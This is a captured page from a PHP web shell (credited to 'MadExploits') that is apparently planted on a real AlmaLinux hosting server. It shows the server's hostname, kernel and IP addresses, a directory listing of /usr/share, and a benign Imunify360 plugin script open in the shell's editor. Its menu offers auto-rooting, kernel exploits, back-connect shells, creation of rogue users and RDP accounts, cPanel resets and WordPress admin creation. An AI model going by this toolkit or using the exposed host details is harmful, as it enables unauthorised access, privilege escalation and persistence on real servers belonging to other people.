Linux server1.sbs.cy 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
Apache
: 199.192.25.12 | : 172.69.58.122
28 Domain
8.1.31
administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
[ HOME SHELL ]
Name
Size
Permission
Action
GConf
[ DIR ]
drwxr-xr-x
ImageMagick-6
[ DIR ]
drwxr-xr-x
Modules
[ DIR ]
drwxr-xr-x
X11
[ DIR ]
drwxr-xr-x
aclocal
[ DIR ]
drwxr-xr-x
aclocal-1.16
[ DIR ]
drwxr-xr-x
adobe
[ DIR ]
drwxr-xr-x
almalinux-logos
[ DIR ]
drwxr-xr-x
almalinux-release
[ DIR ]
drwxr-xr-x
alsa
[ DIR ]
drwxr-xr-x
alsa-card-profile
[ DIR ]
drwxr-xr-x
anaconda
[ DIR ]
drwxr-xr-x
apache2
[ DIR ]
drwxr-xr-x
appdata
[ DIR ]
drwxr-xr-x
applications
[ DIR ]
drwxr-xr-x
audit
[ DIR ]
drwxr-xr-x
augeas
[ DIR ]
drwxr-xr-x
authselect
[ DIR ]
drwxr-xr-x
autoconf
[ DIR ]
drwxr-xr-x
automake-1.16
[ DIR ]
drwxr-xr-x
awk
[ DIR ]
drwxr-xr-x
backgrounds
[ DIR ]
drwxr-xr-x
bash-completion
[ DIR ]
drwxr-xr-x
bison
[ DIR ]
drwxr-xr-x
cloudlinux-linksafe
[ DIR ]
drwxr-xr-x
cmake
[ DIR ]
drwxr-xr-x
cracklib
[ DIR ]
drwxr-xr-x
crypto-policies
[ DIR ]
drwxr-xr-x
dbus-1
[ DIR ]
drwxr-xr-x
defaults
[ DIR ]
drwxr-xr-x
desktop-directories
[ DIR ]
drwxr-xr-x
dict
[ DIR ]
drwxr-xr-x
doc
[ DIR ]
drwxr-xr-x
dovecot
[ DIR ]
drwxr-xr-x
dpkg
[ DIR ]
drwxr-xr-x
drirc.d
[ DIR ]
drwxr-xr-x
egl
[ DIR ]
drwxr-xr-x
emacs
[ DIR ]
drwxr-xr-x
empty
[ DIR ]
dr-xr-xr-x
empty.sshd
[ DIR ]
drwx--x--x
enchant-2
[ DIR ]
drwxr-xr-x
et
[ DIR ]
drwxr-xr-x
factory
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
firstboot
[ DIR ]
drwxr-xr-x
fish
[ DIR ]
drwxr-xr-x
flatpak
[ DIR ]
drwxr-xr-x
fontconfig
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
games
[ DIR ]
drwxr-xr-x
gawk
[ DIR ]
drwxr-xr-x
gcc-11
[ DIR ]
drwxr-xr-x
gdb
[ DIR ]
drwxr-xr-x
gdm
[ DIR ]
drwxr-xr-x
gettext
[ DIR ]
drwxr-xr-x
gettext-0.21
[ DIR ]
drwxr-xr-x
ghostscript
[ DIR ]
drwxr-xr-x
gir-1.0
[ DIR ]
drwxr-xr-x
glib-2.0
[ DIR ]
drwxr-xr-x
glvnd
[ DIR ]
drwxr-xr-x
gnome
[ DIR ]
drwxr-xr-x
gnupg
[ DIR ]
drwxr-xr-x
graphviz
[ DIR ]
drwxr-xr-x
groff
[ DIR ]
drwxr-xr-x
grub
[ DIR ]
drwxr-xr-x
gtk-2.0
[ DIR ]
drwxr-xr-x
gtk-3.0
[ DIR ]
drwxr-xr-x
gtk-doc
[ DIR ]
drwxr-xr-x
help
[ DIR ]
drwxr-xr-x
hwdata
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
icons
[ DIR ]
drwxr-xr-x
icu
[ DIR ]
drwxr-xr-x
idl
[ DIR ]
drwxr-xr-x
ima
[ DIR ]
drwxr-xr-x
imunify-notifier
[ DIR ]
drwxr-xr-x
imunify360
[ DIR ]
drwxr-xr-x
info
[ DIR ]
drwxr-xr-x
iso-codes
[ DIR ]
drwxr-xr-x
kcare
[ DIR ]
drwxr-xr-x
kdump
[ DIR ]
drwxr-xr-x
keyutils
[ DIR ]
drwxr-xr-x
libdrm
[ DIR ]
drwxr-xr-x
libgpg-error
[ DIR ]
drwxr-xr-x
libreport
[ DIR ]
drwxr-xr-x
libthai
[ DIR ]
drwxr-xr-x
libtool
[ DIR ]
drwxr-xr-x
libwmf
[ DIR ]
drwxr-xr-x
licenses
[ DIR ]
drwxr-xr-x
locale
[ DIR ]
drwxr-xr-x
lua
[ DIR ]
drwxr-xr-x
makedumpfile
[ DIR ]
drwxr-xr-x
man
[ DIR ]
drwxr-xr-x
metainfo
[ DIR ]
drwxr-xr-x
microcode_ctl
[ DIR ]
drwxr-xr-x
mime
[ DIR ]
drwxr-xr-x
mime-info
[ DIR ]
drwxr-xr-x
misc
[ DIR ]
drwxr-xr-x
modulefiles
[ DIR ]
drwxr-xr-x
myspell
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
nano
[ DIR ]
drwxr-xr-x
omf
[ DIR ]
drwxr-xr-x
os-prober
[ DIR ]
drwxr-xr-x
osinfo
[ DIR ]
drwxr-xr-x
p11-kit
[ DIR ]
drwxr-xr-x
pam.d
[ DIR ]
drwxr-xr-x
perl5
[ DIR ]
drwxr-xr-x
pgsql
[ DIR ]
drwxr-xr-x
pipewire
[ DIR ]
drwxr-xr-x
pixmaps
[ DIR ]
drwxr-xr-x
pkgconfig
[ DIR ]
drwxr-xr-x
pki
[ DIR ]
drwxr-xr-x
plymouth
[ DIR ]
drwxr-xr-x
pmdk
[ DIR ]
drwxr-xr-x
polkit-1
[ DIR ]
drwxr-xr-x
poppler
[ DIR ]
drwxr-xr-x
publicsuffix
[ DIR ]
drwxr-xr-x
python3-wheels
[ DIR ]
drwxr-xr-x
qemu-kvm
[ DIR ]
drwxr-xr-x
redhat-release
[ DIR ]
drwxr-xr-x
screen
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
sgml
[ DIR ]
drwxr-xr-x
smartmontools
[ DIR ]
drwxr-xr-x
snmp
[ DIR ]
drwxr-xr-x
sounds
[ DIR ]
drwxr-xr-x
spa-0.2
[ DIR ]
drwxr-xr-x
sssd
[ DIR ]
drwxr-xr-x
sssd-kcm
[ DIR ]
drwxr-xr-x
systemd
[ DIR ]
drwxr-xr-x
systemtap
[ DIR ]
drwxr-xr-x
tabset
[ DIR ]
drwxr-xr-x
tcl8
[ DIR ]
drwxr-xr-x
tcl8.6
[ DIR ]
drwxr-xr-x
terminfo
[ DIR ]
drwxr-xr-x
themes
[ DIR ]
drwxr-xr-x
thumbnailers
[ DIR ]
drwxr-xr-x
tracker3
[ DIR ]
drwxr-xr-x
tracker3-miners
[ DIR ]
drwxr-xr-x
vim
[ DIR ]
drwxr-xr-x
vulkan
[ DIR ]
drwxr-xr-x
wayland-sessions
[ DIR ]
drwxr-xr-x
wireplumber
[ DIR ]
drwxr-xr-x
xdg-desktop-portal
[ DIR ]
drwxr-xr-x
xfsprogs
[ DIR ]
drwxr-xr-x
xml
[ DIR ]
drwxr-xr-x
xsessions
[ DIR ]
drwxr-xr-x
zoneinfo
[ DIR ]
drwxr-xr-x
zsh
[ DIR ]
drwxr-xr-x
av-userside-plugin.sh
4.73
KB
-rwxr--r--
config.site
880
B
-rw-r--r--
magic
1.12
MB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : av-userside-plugin.sh
#!/usr/bin/bash DIRECTADMIN_PLUGIN="/usr/local/directadmin/plugins/Imunify" CPANEL_PLUGIN="/usr/local/cpanel/base/frontend/jupiter/imunify" USERSIDE_PLUGIN_FLAG="/var/imunify360/av-userside-plugin.installed" # Get the name of installed panel get_panel() { if [ -e /usr/local/cpanel/cpanel ]; then printf "cpanel\n" elif [ -e /usr/local/directadmin/directadmin ]; then printf "directadmin\n" elif [ -e /usr/sbin/plesk ]; then printf "plesk\n" else return 1 fi } install_cpanel() { local conf_dir="antivirus_conf" if [[ "${1}" == "360" ]]; then if [[ -f /var/imunify360/myimunify-freemium.flag ]]; then conf_dir="myimunify_conf" else conf_dir="conf" fi fi for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") if [[ "${theme}" != "jupiter" ]]; then mkdir -p "/usr/local/cpanel/base/frontend/${theme}/imunify" cp -a "${CPANEL_PLUGIN}" "/usr/local/cpanel/base/frontend/${theme}" fi /usr/local/cpanel/scripts/install_plugin "/etc/sysconfig/imunify360/cpanel/${conf_dir}" --theme "${theme}" done touch "${USERSIDE_PLUGIN_FLAG}" } install_directadmin() { local enabled_plugin="${DIRECTADMIN_PLUGIN}/user" local disabled_plugin="${DIRECTADMIN_PLUGIN}/.user" if [[ -d "${disabled_plugin}" ]] && [[ -n "$(ls -A "${disabled_plugin}")" ]]; then rm -rf "${enabled_plugin}" mv "${disabled_plugin}" "${enabled_plugin}" fi touch "${USERSIDE_PLUGIN_FLAG}" } install_plesk() { if [[ ! -e "${USERSIDE_PLUGIN_FLAG}" ]]; then touch "${USERSIDE_PLUGIN_FLAG}" fi } remove_cpanel() { local conf_dir="antivirus_conf" if [[ "${1}" == "360" ]]; then conf_dir="conf" fi for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") /usr/local/cpanel/scripts/uninstall_plugin "/etc/sysconfig/imunify360/cpanel/${conf_dir}" --theme "${theme}" if [[ -d "/usr/local/cpanel/base/frontend/${theme}/imunify" ]]; then rm -rf "/usr/local/cpanel/base/frontend/${theme}/imunify" fi done rm -f "${USERSIDE_PLUGIN_FLAG}" } remove_directadmin() { local enabled_plugin="${DIRECTADMIN_PLUGIN}/user" local disabled_plugin="${DIRECTADMIN_PLUGIN}/.user" if [[ -d "${enabled_plugin}" ]] && [[ -n "$(ls -A "${enabled_plugin}")" ]]; then rm -rf "${disabled_plugin}" mv "${enabled_plugin}" "${disabled_plugin}" fi rm -f "${USERSIDE_PLUGIN_FLAG}" } remove_plesk() { if [[ -e "${USERSIDE_PLUGIN_FLAG}" ]]; then rm -f "${USERSIDE_PLUGIN_FLAG}" fi } update_cpanel() { if [[ -e "${USERSIDE_PLUGIN_FLAG}" ]]; then install_cpanel "${1}" else printf "User-side plugin is not installed. Skipping update...\n" fi } update_directadmin() { if [[ ! -e "${USERSIDE_PLUGIN_FLAG}" ]] && [[ -e "${DIRECTADMIN_PLUGIN}/user" ]]; then remove_directadmin fi } update_plesk() { install_plesk } update_package_config_cpanel() { for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") local theme_path="/usr/local/cpanel/base/frontend/${theme}/imunify/assets/js/config.js" if [[ -f "${theme_path}" ]]; then if ! grep -q "IMUNIFY_PACKAGE" "${theme_path}"; then printf "var IMUNIFY_PACKAGE = '360'\n" > "${theme_path}" else sed -i -E "s/IMUNIFY_PACKAGE = 'AV'/IMUNIFY_PACKAGE = '360'/" "${theme_path}" fi fi done } update_package_config_directadmin() { install_directadmin } update_package_config_plesk() { printf "Updating package config for Plesk is not implemented.\n" } main() { local panel; panel=$(get_panel) if [[ -z "${panel}" ]]; then printf "Detected panel doesn't support av user side plugin\n" exit 0 fi local package="AV" for arg in "$@"; do if [[ "$arg" =~ ^package= ]]; then package="${arg#*=}" fi done case "${1}" in "-r") "remove_${panel}" "$package" ;; "-u") "update_${panel}" "$package" ;; "-update-package") "update_package_config_${panel}" ;; "-i") "install_${panel}" "$package" ;; "") "install_${panel}" "AV" ;; *) printf "Unrecognized option: %s\n" "${1}" exit 1 ;; esac } main "$@"
Close